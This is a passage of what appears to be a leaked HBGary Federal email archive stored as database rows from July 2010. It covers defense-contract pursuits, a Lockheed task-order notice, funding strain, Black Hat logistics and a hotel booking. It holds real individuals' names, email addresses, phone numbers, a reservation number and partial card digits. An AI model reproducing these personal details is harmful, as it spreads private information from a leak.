Ted Vera &lt;ted@hbgary.com&gt;Date: Fri, Jul 9, 2010 at 12:39 PM\r\nSubject: AsteroidTo: Barr Aaron &lt;aaron@hbgary.com&gt;, Penny Leavy &lt;penny@hbgary.com&gt;, Bob Slapnik &lt;bob@hbgary.com&gt;, Greg Hoglund &lt;greg@hbgary.com&gt;\r\nMy contact at ARSTRAT referred BAE to me for help with their Cyber programs.  The current Program is called COSMIC, a multi-year $500M IDIQ contract.  The POP ends next September, the follow-on will be called Asteroid.  I met last week with the current (COSMIC) Program Manager and he is interested in getting us on their current tasks.  We will meet again when he gets back next week from vacation to discuss more details.  \r\n\r\nHe set up a meeting between me and their Asteroid Capture Manager.  We met this morning and they would like us on their team.  He is sending us an NDA and draft subcontract agreement.  \r\n\r\nGD, NG, and Mantech are all current subs to BAE on COSMIC.  Any one of them may decide to Prime Asteroid.  Recommend we drag our feet a little to find out more from GD,NG, &amp; Mantech, and push for a non-exclusive agreement.\r\n\r\nYou can read more about Asteroid here: https://www.fbo.gov/index?s=opportunity&amp;mode=form&amp;id=6829a0a60a469aa659c0fdbe5ec3e4f3&amp;tab=core&amp;tabmode=list&amp;=\r\n\r\n-- Ted\r\n\r\n-- Ted H. VeraPresident | COOHBGary Federal719-237-8623\r\n',15324,'aaron_hbgary_com/15324.html'),(8495,'2010-07-13','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006557.M8490P14101Q3347.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: UNO - Lynx Task Order Announcement','FYI Begin forwarded message:From: &quot;Thompson, Bill M.&quot; &lt;Bill.Thompson@gd-ais.com&gt;\r\nDate: July 13, 2010 2:36:16 PM MDTTo: Ted Vera &lt;ted@hbgary.com&gt;Subject: RE: UNO - Lynx Task Order Announcement\r\n\r\n\r\n\r\n\r\nHey Ted,\r\n\r\n \r\n\r\nNo worries man, you guys are on my short list to do work when we\r\nget some fun stuff in. I’m currently bogged down putting out fires on other\r\nprojects that would not be of any interest to you guys. However, I’m always\r\nprobing to hear about new stuff and will let you know for sure if anything fun\r\ncomes up.  If you guys have cool stuff to pitch, then that may be an avenue\r\nalso where I can act as an inside sales guy to proxy an idea to a potential\r\ncustomer. Up to you on how to work that. I think that of course would be the\r\ngoal for you and Aaron anyway.\r\n\r\n \r\n\r\nSo, yeah, there are some emails coming across my line about\r\ntrying to overthrow the incumbents on the UNO contract, but it sounds like a\r\nfeeble exercise to me.  Those cats have a monopoly backed by heavy hitter lobbyists/bribery\r\nif you ask me and I want no part of wasting time in that one. If we win, I’ll\r\nlet you know. I’m not totally sure about Lynx TO specifically, but the prime on\r\nUNO simply filters proposals and takes a cut off the top.  They don’t actually\r\ndo any real work as far as I know. \r\n\r\n \r\n\r\nAnyway, that’s all I know. \r\n\r\n \r\n\r\nRegards,\r\n\r\nBill\r\n\r\n \r\n\r\n\r\n\r\nFrom: Ted Vera\r\n[mailto:ted@hbgary.com] \r\nSent: Tuesday, July 13, 2010 1:23 PM\r\nTo: Thompson, Bill M.\r\nSubject: Fwd: UNO - Lynx Task Order Announcement\r\n\r\n\r\n\r\n \r\n\r\nHi Bill,\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nI just called you to touch base.  I started to leave a\r\nmessage and then my phone rang, I thought it was you and clicked over...\r\n Anyways it&#39;s nothing urgent, I just wanted to see how things are going on\r\nyour end.  We are still awaiting word on the FBI ESOC award announcement,\r\nkeeping our fingers crossed.  Today we received the UNO Lynx TO\r\nannouncement - is GD going after it?  We&#39;re not in a position to prime it\r\nbut could potentially help out.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nWarm regards,\r\n\r\n\r\n\r\n\r\n\r\nTed\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',11503,'aaron_hbgary_com/11503.html'),(8496,'2010-07-13','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006557.M909055P14101Q3351.eml','\"Lawrence Hill\" <lawrence.hill@ngc.com>,\"Lawrence Hill\" <lawrence.hill@ngc.com>','Asteroid','Lawrence,Is this on your radar?  Is TASC thinking about priming?  BAE is the incumbent, the current Program is called COSMIC, a multi-year $500M IDIQ contract. The POP ends next September, the follow-on will be called Asteroid. GD, NG, and Mantech are all current subs to BAE on COSMIC (I&#39;m not sure if TASC is as well).  Any one of them may decide to Prime Asteroid.  We&#39;ve been approached to join BAE as a sub, but I&#39;m curious about who else is going after it as prime.\r\nYou can read more about Asteroid here: https://www.fbo.gov/index?s=opportunity&amp;mode=form&amp;id=6829a0a60a469aa659c0fdbe5ec3e4f3&amp;tab=core&amp;tabmode=list&amp;=\r\n\r\n-- Ted\r\n\r\n',14515,'aaron_hbgary_com/14515.html'),(8497,'2010-07-13','\"Staley, Ryan E\" <ryan.e.staley@lmco.com>','/aaron@hbgary.com/new/1297006558.M524620P14101Q3352.eml','\"Staley, Ryan E\" <ryan.e.staley@lmco.com>,\"Staley, Ryan E\" <ryan.e.staley@lmco.com>,,,','UNO - Loose Cannon Task Order Announcement','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nDear UNO\r\nSuppliers:\r\n\r\n&nbsp;\r\n\r\nThe Lockheed\r\nMartin UNO PMO is expecting to receive a Statement of Work for Task\r\nOrder Loose Cannon on/about the fourth week of July, 2010.&nbsp; Task\r\nOrder Loose Cannon shall be a twelve month Completion\r\ncontract.&nbsp; \r\n\r\n&nbsp;\r\n\r\nLoose\r\nCannon encompasses a\r\nstudy of commercial software products, preparation of a White Paper,\r\ndevelopment of an SRR/SRD and framework deliverables.\r\n\r\n&nbsp;\r\n\r\nTo be\r\nconsidered qualified, interested suppliers must have significant experience\r\nwith development of Sponsor Tools.\r\n\r\n&nbsp;\r\n\r\nIf you are\r\ninterested in, and have the capabilities to meet the basic requirements of this\r\ntask order, then please provide a written initial\r\nconfirmation of your interest via email to Ryan Staley, UNO Subcontracts\r\nAdministrator, at ryan.e.staley@lmco.com and\r\nJim Racz, UNO LSE, at james.m.racz@lmco.com\r\nby NLT noon (12pm) on Mon, 7/19.&nbsp; In your confirmation response to\r\nLMCO, please be sure to confirm your Security POC name, phone, and fax numbers\r\n(classified and unclassified).&nbsp; You must also complete and return the\r\nattached Day Zero Exhibit I (Initial)&nbsp; Initial Task Order Questionnaire\r\nfor Classified Information Exchange attached. \r\n\r\n&nbsp;\r\n\r\nAfter this\r\nnotification, a Loose Cannon Reading Room will be available to view a\r\ndraft Statement of Work which will not be promulgated via FAX.&nbsp; The\r\nReading Room will only be available for those that have provided written\r\nnotification of their continuing interest.&nbsp; The reading room is expected\r\nto be available July 21-23 from 0800-1600 in one hour segments.&nbsp; Please\r\ncall or email Jim Racz (703-466-3314) (james.m.racz@lmco.com\r\n) to set up an appointment.&nbsp; A TS/ISA or S/ISA clearance\r\nwith our Sponsor must be on file at UNO to review the draft Loose Cannon\r\nSOW in the Reading Room. \r\n\r\n&nbsp;\r\n\r\nProgram\r\nManager and at least the lead engineer for Task Order Loose Cannon must\r\ncurrently possess a TS/ISSA security clearance\r\nand be available on day 1.\r\nAll other personnel must have a S/ISA security clearance at a\r\nminimum.&nbsp;&nbsp; Please note that other security requirements may be\r\npromulgated at a later date.\r\n\r\n&nbsp; \r\n\r\nThe\r\nfollowing is a current projected schedule(subject to change):\r\n\r\n&nbsp;\r\n\r\nO/A\r\nJuly21&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nReading Room available for SOW review\r\n\r\nAugust\r\n2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nBeginning of 10-day task order process &#8211; UNO PMO sends RFP to solicited\r\nbidders\r\n\r\nAugust\r\n23&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nTask order winner is selected\r\n\r\nAugust\r\n25&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nAuthorization to proceed on contract\r\n\r\n&nbsp;\r\n\r\nCurrently\r\nit is expected that the work required for Loose Cannon will be up to the\r\nSECRET level.&nbsp; By the time of contract award, you must have the\r\ncapability to receive, process, and store SECRET classified material from the\r\nUNO Sponsor.\r\n\r\n&nbsp;\r\n\r\nShould\r\nyou have any further questions regarding this, please do not hesitate to\r\ncontact me.\r\n\r\n&nbsp;\r\n\r\nThank\r\nyou,\r\n\r\n&nbsp;\r\n\r\nRyan\r\n\r\n\r\n\r\n\r\n\r\n\r\n',5802,'aaron_hbgary_com/5802.html'),(8498,'2010-07-13','\"Varner, Bill\" <Bill.Varner@ManTech.com>','/aaron@hbgary.com/new/1297006558.M786690P14101Q3353.eml','aaron@hbgary.com,alexander.miller@l-3com.com,barbara.g.fast@boeing.com,bill.phelps@accenture.com,bmalexia@rockwellcollins.com,ccpalmer@us.ibm.com,coxld@saic.com,david_joslin@federal.dell.com,dusty.wince@knowledgecg.com,ed.gibson@us.pwc.com,gjg@mitre.org,jkoenig@harris.com,john.osterholz@baesystems.com,jpayne@telcordia.com,jreagan@deloitte.com,jwatters@isightpartners.com,kathy.warden@ngc.com,kenneth.sannicolas@stanleyassociates.com,lance.cottrell@abraxascorp.com,michael.fraser@usis.com,nadia.short@gd-ais.com,pat.burke@sra.com,rdix@juniper.net,rodney.joffe@neustar.biz,roger_anderson@appsig.com,samuel.chun@hp.com,scottmil@microsoft.com,shawn.carroll@qwest.com,skip.foote@americansystems.com,steve_k_hawkins@raytheon.com,svisner@csc.com,tiffany_jones@symantec.com,wcooper@cisco.com,zazmi@caci.com','Greetings!','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nLooking forward to seeing as many of us as possible at\r\nbreakfast on August 3.\r\n\r\n&nbsp;\r\n\r\nI&#8217;m planning to go over the feedback from our first dinner\r\nmeeting, and would like to narrow down our choices or preferences for the next\r\ndinner speaker.\r\n\r\n&nbsp;\r\n\r\nWe have had some limited discussions re the draft National\r\nStrategy for Trusted Identities in Cyberspace. I still would like to submit\r\nsomething to Howard Schmidt from the Group, both to put us on the map and to\r\nhelp the process of creating trusted ways of using the Internet. When I think\r\nof trusted supply chain management, as the paper mentions, I tend to think of\r\nthe counterintelligence perspective. I do believe there is a strong CI\r\ncomponent to the trusted identity issue, and some of our email discussions,\r\nparticularly between Aaron and John have begun to explore that idea.\r\n\r\n&nbsp;\r\n\r\nI am as guilty as everyone of not being able to devote all\r\nof the time we would like to this, but if we can generate some more discussion\r\naround this I can try to turn our thoughts into a response by July 19.\r\n\r\n&nbsp;\r\n\r\nSee you soon,\r\n\r\n&nbsp;\r\n\r\nBill \r\n\r\n&nbsp;\r\n\r\nL. William Varner\r\n\r\nPresident\r\n\r\nMission, Cyber &amp;\r\nTechnology Solutions Group\r\n\r\nManTech International\r\nCorporation\r\n\r\n2250 Corporate Park Drive,\r\nSuite 500\r\n\r\nHerndon, VA 20171\r\n\r\nOffice: (703) 674-2778 l\r\nE-fax: (571) 485-2362 l Mobile: (703) 475-7909&nbsp; \r\n\r\nEmail: Bill.Varner@Mantech.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',14447,'aaron_hbgary_com/14447.html'),(8499,'2010-07-13','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006559.M283983P14101Q3355.eml','\"Penny Leavy\" <penny@hbgary.com>','Just talking with Ted on Funding','I think its worth considering going after some small bit of funding.  I can talk with Mantech which I think would be the most amenable to the discussion.\r\n\r\nWhat do you think for amounts you are going to be able to deposit this week? and/or next?  It is all we can do right now to pay our salaries, Ted and I still owe some taxes which we can wait to pay into later but the more we put that off the more personally risky it gets for Ted and myself.  Given the lack of immediate work and our funding profile Ted and I are a bit stressed.  Hoping August will really be a good month with Training and some of the offensive stuff we have been working towards.\r\n\r\nHopefully we can talk a little more about this tonight.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',7286,'aaron_hbgary_com/7286.html'),(8500,'2010-07-13','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006559.M543411P14101Q3356.eml','\"Henderson, Mike (XETRON)\" <Michael.Henderson@ngc.com>,\"Henderson, Mike (XETRON)\" <Michael.Henderson@ngc.com>','Re: EXTERNAL:Question','Hey Mike, thanks alot.  How&#39;s everything going out in Cincinnati?  TedOn Tue, Jul 13, 2010 at 3:51 PM, Henderson, Mike (XETRON) &lt;Michael.Henderson@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nZIP password is “infected”\r\n\r\n \r\n\r\n\r\n\r\nMike\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- Ted H. VeraPresident | COOHBGary Federal719-237-8623\r\n\r\n',5853,'aaron_hbgary_com/5853.html'),(8501,'2010-07-13','\"DeeAnn Buonaccorsi\" <deeann@hbgary.com>','/aaron@hbgary.com/new/1297006559.M64026P14101Q3354.eml','\"Aaron Barr\" <aaron@hbgary.com>','FW: Caesars Palace Las Vegas Reservation Confirmation # WGQCB','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nFYI.  Black Hat\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nDeeAnn Buonaccorsi\r\n\r\nOffice Manager\r\n\r\nHBGary, Inc.\r\n\r\n3604 Fair Oaks Blvd.  Suite 250\r\n\r\nSacramento, CA  95864\r\n\r\nTel:  916-459-4727 ext. 101\r\n\r\nFax: 916-481-1460\r\n\r\nEmail  deeann@hbgary.com\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Caesars Palace Las\r\nVegas [mailto:emails@em.harrahs-notifications.com] \r\nSent: Tuesday, July 13, 2010 2:24 PM\r\nTo: DEEANN@HBGARY.COM\r\nSubject: Caesars Palace Las Vegas Reservation Confirmation # WGQCB\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n \r\n  \r\n  \r\n  \r\n   \r\n    \r\n    To\r\n    view this message in your web browser, please Click Here\r\n    \r\n    HARRAHS | RESERVATIONS| CASINO LOCATOR| CUSTOMER SERVICE | HOT DEALS| TOTAL REWARDS \r\n    \r\n   \r\n   \r\n    \r\n    \r\n    \r\n   \r\n   \r\n    \r\n    \r\n    \r\n   \r\n  \r\n  \r\n  \r\n \r\n \r\n  \r\n  \r\n   \r\n    \r\n    \r\n     \r\n      \r\n      \r\n      RESERVATION CONFIRMATION \r\n      This is an automatically generated e-mail. Please DO NOT REPLY to this\r\n      e-mail. \r\n      \r\n      Dear Aaron Barr, \r\n      \r\n      Thank you for choosing Caesars Palace Las Vegas. Your&nbsp;confirmation\r\n      number and reservation details are below. \r\n      Please keep this page for your records. Confirmation Number: WGQCB\r\n      \r\n      \r\n       \r\n        \r\n        Beat\r\n        the lines at check-in. Use our Texpress\r\n        Service and check-in with your cell phone. It’s fast, easy and your\r\n        room keys will be waiting at the Bell Desk. Singing sensation Matt\r\n        Goss brings vintage Vegas back to Cleopatra’s Barge in an all-new,\r\n        old-school lounge show. Find your all-time favorite comfort foods\r\n        created by Chef Bryan Ogden at munchbar.\r\n        Experience the Garden\r\n        of the Gods Pool Oasis, the most breathtaking swimming pool\r\n        experience in Las Vegas. For more information, visit&nbsp;the Caesars\r\n        Palace website.\r\n        \r\n       \r\n      \r\n      \r\n      \r\n      \r\n       \r\n        \r\n        \r\n         \r\n          \r\n          Caesars\r\n          Palace Las Vegas\r\n          \r\n         \r\n         \r\n          \r\n          \r\n          \r\n         \r\n         \r\n          \r\n          3570 Las Vegas Blvd. South\r\n          Las Vegas, NV 89109\r\n          1-877-427-7243\r\n          \r\n          \r\n          Connect with us:\r\n          &nbsp; \r\n          \r\n         \r\n        \r\n        \r\n       \r\n      \r\n      \r\n     \r\n     \r\n      \r\n      \r\n      Start Earning Reward Credits - for everyday purchases - even before\r\n      you visit!\r\n      Apply for the Total Rewards® Visa® card today and receive 2,500 Bonus\r\n      Reward Credits® after making your first transaction with your new card.\r\n      Plus, your everyday purchases earn 1 Bonus Reward Credit® for every $1\r\n      you spend. The more you spend, the more you earn. Click\r\n      here for more information and to apply! Or call 1-866-438-6262 and\r\n      mention priority code UABCUN. \r\n      \r\n     \r\n    \r\n    \r\n    \r\n    \r\n    \r\n   \r\n   \r\n    \r\n    \r\n     \r\n      \r\n      \r\n       \r\n        \r\n        Reservation\r\n        Information\r\n        \r\n       \r\n       \r\n        \r\n        Guest Name: Aaron Barr\r\n        Confirmation Number: WGQCB\r\n        Check-In Date: 07/27/2010\r\n        Check-Out Date: 07/30/2010\r\n        Number of Adults: 1\r\n        Number of Children: \r\n        Package Name: \r\n        \r\n        \r\n       \r\n      \r\n      \r\n      \r\n      \r\n       \r\n        \r\n        \r\n         \r\n          \r\n          Billing\r\n          Information\r\n          \r\n         \r\n         \r\n          \r\n          Aaron\r\n          Barr\r\n          DEEANN@HBGARY.COM\r\n          VISA xxxx-xxxx-xxxx-4379\r\n          Exp. xx/xx\r\n          \r\n         \r\n        \r\n        \r\n        \r\n        \r\n         \r\n          \r\n          Rates\r\n          Per Room*\r\n          \r\n         \r\n         \r\n          \r\n          07/27/2010------$165.00\r\n          USD \r\n          07/28/2010------$165.00 USD \r\n          07/29/2010------$165.00 USD \r\n          \r\n          -----------------------\r\n          Total Trip\r\n          Cost**\r\n          $554.40 USD\r\n          *Excludes tax, recovery charges and service fees\r\n          **Estimated Total Cost\r\n          \r\n         \r\n        \r\n        \r\n       \r\n      \r\n      \r\n     \r\n     \r\n      \r\n      \r\n       \r\n        \r\n        \r\n        \r\n        \r\n        \r\n        \r\n        Travel insurance from Travel Guard includes reimbursement for trip\r\n        cancellation or interruption, travel delay, lost, stolen or damaged\r\n        baggage and baggage delay. Twenty-four hour assistance is also\r\n        included. Click here to purchase insurance from\r\n        Travel Guard for the low price of $12.\r\n        \r\n       \r\n      \r\n      \r\n     \r\n    \r\n    \r\n   \r\n   \r\n    \r\n    \r\n    \r\n   \r\n   \r\n    \r\n    Please\r\n    note:\r\n    To redeem a Total Rewards hotel offer the primary Total Rewards customer on\r\n    the account must be present at check-in with valid photo ID and Total\r\n    Rewards card that match the name on the hotel reservation. \r\n    Should a\r\n    companion arrive prior to the individual with the hotel reservation, the\r\n    companion will not be able to check-in but will have the option to book a\r\n    separate reservation until the arrival of the primary Total Rewards\r\n    customer. Upon the arrival of the individual with the original reservation,\r\n    they will be added to the new reservation and honor the original rates\r\n    booked.\r\n    \r\n    Did you know you can view\r\n    your reservation online anytime? Just visit Harrahs.com and click on\r\n    Reservations. You will need to enter the hotel name, your confirmation\r\n    number and check-in date.\r\n    \r\n   \r\n   \r\n    \r\n    \r\n    \r\n   \r\n   \r\n    \r\n    \r\n     \r\n      \r\n      \r\n       \r\n        \r\n        Hotel\r\n        Information\r\n        \r\n        \r\n         \r\n          \r\n          Caesars\r\n          Palace Las Vegas\r\n          3570 Las Vegas Blvd. South\r\n          Las Vegas, NV 89109\r\n          1-877-427-7243\r\n          \r\n         \r\n        \r\n        \r\n        \r\n        \r\n         \r\n          \r\n          Directions\r\n          \r\n         \r\n        \r\n        \r\n       \r\n      \r\n      \r\n      \r\n      \r\n       \r\n        \r\n        \r\n         \r\n          \r\n          Room\r\n          Selection &amp; Preferences\r\n          \r\n         \r\n         \r\n          \r\n          CLASSIC\r\n          KI N/S\r\n          \r\n         \r\n        \r\n        \r\n        \r\n        **PLEASE\r\n        NOTE \r\n        Room preferences are not guaranteed and additional charges may apply.\r\n        If you are disabled and require special accommodations, please call\r\n        1-800-HARRAHS.\r\n        \r\n       \r\n      \r\n      \r\n     \r\n    \r\n    \r\n   \r\n   \r\n    \r\n    TERMS\r\n    AND CONDITIONS\r\n    \r\n   \r\n   \r\n    \r\n    \r\n     \r\n      \r\n      \r\n       \r\n        \r\n        CAESARS PALACE CANCELLATION POLICY\r\n        A 72-hour cancellation notice is required prior to your arrival date to\r\n        receive a refund of your deposit. If you cancel within 72 hours,\r\n        including reservations made within 3 days of your arrival, you will be\r\n        charged the 1st night\'s room rate and tax. For Total Rewards customers,\r\n        this amount will be deducted from your Total Rewards account. Declined\r\n        or invalid credit card numbers may result in cancellation of booking\r\n        without prior notice. Personal checks will be accepted for pre-payment\r\n        of reservation balance only if received at least 30 days prior to\r\n        arrival date. Checks will not be accepted if received less than 30 days\r\n        prior to arrival. Reservations made for December 29 - 31, 2010 require\r\n        cancellation 7 days prior to arrival. Cancellations within 7 days of\r\n        arrival are subject to the forfeit of one nights deposit.\r\n        \r\n        DEPOSITS AND CREDIT CARDS\r\n        All reservations must be guaranteed by a major credit card. For general\r\n        reservations, one night\'s room and tax are charged upon booking; for\r\n        package reservations, the full package price of room and tax are\r\n        charged upon booking. Reservations made with declined or invalid credit\r\n        cards are subject to cancellation.\r\n        \r\n        RATES\r\n        Internet rates are not valid with, during, or in conjunction with other\r\n        Discount programs, including corporate group and junket programs. All\r\n        rates are currently subject to 12% tax and tourism fee that may not be\r\n        reflected in the total cost. Prior to confirmation, all rates are\r\n        subject to change without notice and based upon limited availability.\r\n        \r\n        CHECK-IN/CHECK-OUT\r\n        Check-In time is 4:00pm and Check-Out time is 11:00am.\r\n        \r\n        ROOM PREFERENCES\r\n        We will make every effort to fulfill your preference requests; however\r\n        they are not guaranteed, as rooms are assigned at check-in. Additional\r\n        charges may apply for some requests. For accommodation preferences for\r\n        the physically challenged, please call us at 1-800-HARRAHS.\r\n        \r\n        AGE REQUIREMENT\r\n        You must be 21 years of age or older to reserve a room.\r\n        \r\n        ADDITIONAL PERSON CHARGES\r\n        Maximum occupancy is four persons per room. There is an additional\r\n        nightly fee of $30 per person for rooms with more than 2 adult\r\n        occupants. \r\n        \r\n       \r\n      \r\n      \r\n     \r\n    \r\n    \r\n    \r\n    \r\n    \r\n   \r\n   \r\n    \r\n    CONTACT\r\n    US\r\n    \r\n   \r\n   \r\n    \r\n    If you would like to contact us\r\n    about a reservation, just click\r\n    here to use our convenient online form. Please have the hotel name,\r\n    confirmation number and check-in date available.\r\n    \r\n    Click\r\n    here to sign up to receive exclusive email offers from Harrah\'s\r\n    Entertainment. \r\n    \r\n   \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n   \r\n    \r\n    COMPANY INFORMATION| CAREERS| INVESTOR RELATIONS| GROUPS AND MEETINGS | RESPONSIBLE GAMING \r\n    \r\n   \r\n   \r\n    \r\n    \r\n    \r\n   \r\n  \r\n  \r\n  \r\n \r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n \r\n  \r\n \r\n \r\n  \r\n  \r\n  \r\n   \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n   \r\n  \r\n  \r\n  \r\n \r\n \r\n  \r\n  \r\n  \r\n \r\n \r\n  \r\n  \r\n  \r\n   \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n   \r\n  \r\n  \r\n  \r\n \r\n \r\n  \r\n  \r\n  \r\n \r\n \r\n  \r\n  \r\n  \r\n   \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n   \r\n  \r\n  \r\n  \r\n \r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n \r\n  \r\n  \r\n  Know When To Stop Before You Start ® Gambling Problem? Call 1-800-522-4700\r\n  © 2010 Harrah\'s License Company, LLC. All rights reserved.\r\n  \r\n  PRIVACY | HARRAHS\r\n  \r\n  This is a post-only mailing. Please do not reply to this email. Customer\r\n  Service support is available at:\r\n  Harrah\'s Customer Service \r\n  [If you cannot view this\r\n  email, please Click Here.]\r\n  This is an advertisement from\r\n  Harrah\'s. It was transmitted by e-Dialog on behalf of\r\n  Harrah\'s Entertainment, c/o Harrah\'s Operating Company, Inc., ATTN: Internet\r\n  Marketing, \r\n  P.O. Box 98905, Las Vegas, NV 89193-8905.\r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',16015,'aaron_hbgary_com/16015.html'),(8502,'2010-07-13','\"DeeAnn Buonaccorsi\" <deeann@hbgary.com>','/aaron@hbgary.com/new/1297006559.M880541P14101Q3357.eml','\"Michael G. Spohn\" <mike@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Black Hat Info','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Guys,\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nYou are expected to be at this how July 27-29.&nbsp; I have made\r\nHotel reservations for all that will be attending.&nbsp; You should have &nbsp;Caesars\r\nPalace &nbsp;confirmation. &nbsp;&nbsp;Below are the set up and break down\r\ninstructions.&nbsp; Please contact me if you have any questions.&nbsp;&nbsp;\r\nReminder:&nbsp; I still need flight info from most of you.\r\n\r\n&nbsp;\r\n\r\nDisplay set-up is on July 26 from 15:00-18:00\r\nand Tuesday, July 27 from 09:00&#8211;18:00. Set-up is best\r\n\r\ndone before 18:00 when GES staff are\r\navailable. You will need to be fully ready to go by 08:00 on\r\n\r\nJuly 28. Teardown will begin at 16:45 on July\r\n29, with crates not available until 16:45. Under no\r\n\r\ncircumstances are sponsors permitted to tear\r\ndown in advance of these times without written\r\n\r\npermission from Black Hat management. The displays need not\r\nbe fully staffed all of the time, and\r\n\r\nwe expect that staffing will be most\r\nproductive during the continental breakfasts and coffee breaks on\r\n\r\nJuly 28 and 29. Please refer to the schedule\r\non the Black Hat website. Repeating the format of last\r\n\r\nyear, the Hosted Reception will be held from\r\n18:00-19:30 on the evening of July 28, mixed in and\r\n\r\naround all of the displays. You may use your\r\nown judgment re staffing levels during these times.\r\n\r\nYour company has already been assigned space\r\nat the time you reserved your sponsorship. All\r\n\r\nlocations\r\nhave equal access to the delegates.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nDeeAnn Buonaccorsi\r\n\r\nOffice\r\nManager\r\n\r\nHBGary,\r\nInc.\r\n\r\n3604\r\nFair Oaks Blvd.&nbsp; Suite 250\r\n\r\nSacramento,\r\nCA&nbsp; 95864\r\n\r\nTel:&nbsp;\r\n916-459-4727 ext. 101\r\n\r\nFax:\r\n916-481-1460\r\n\r\nEmail&nbsp;\r\ndeeann@hbgary.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',4022,'aaron_hbgary_com/4022.html'),(8503,'2010-07-13','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006560.M169815P14101Q3358.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: EXTERNAL:Question','FYI ------------ Forwarded message ----------From: Ted Vera &lt;ted@hbgary.com&gt;Date: Tue, Jul 13, 2010 at 4:19 PM\r\nSubject: Re: EXTERNAL:QuestionTo: &quot;Henderson, Mike (XETRON)&quot; &lt;Michael.Henderson@ngc.com&gt;That is the &quot;good&quot; kind of crazy.  We&#39;re doing alright, still mostly a lot of business development activities &amp; proposals.  Won a contract a couple of weeks ago, work starts in September.  Also have a small pilot project starting in a couple of weeks for one of the Nat&#39;l labs.  \r\n\r\nTedOn Tue, Jul 13, 2010 at 3:55 PM, Henderson, Mike (XETRON) &lt;Michael.Henderson@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCrazy as always, but still the “good” kind of crazy (lots of\r\nwork, not enough hours in the day).\r\n\r\n \r\n\r\nI hope all’s well with you and yours!\r\n\r\n \r\n\r\nMike\r\n\r\n \r\n\r\n\r\n\r\nFrom: Ted Vera\r\n[mailto:ted@hbgary.com] \r\nSent: Tuesday, July 13, 2010 5:54 PM\r\nTo: Henderson, Mike (XETRON)\r\nCc: Masterson, Brian M (XETRON)\r\nSubject: Re: EXTERNAL:Question\r\n\r\n\r\n\r\n \r\n\r\nHey Mike, thanks alot.  How&#39;s everything going out in\r\nCincinnati?  \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nTed\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n 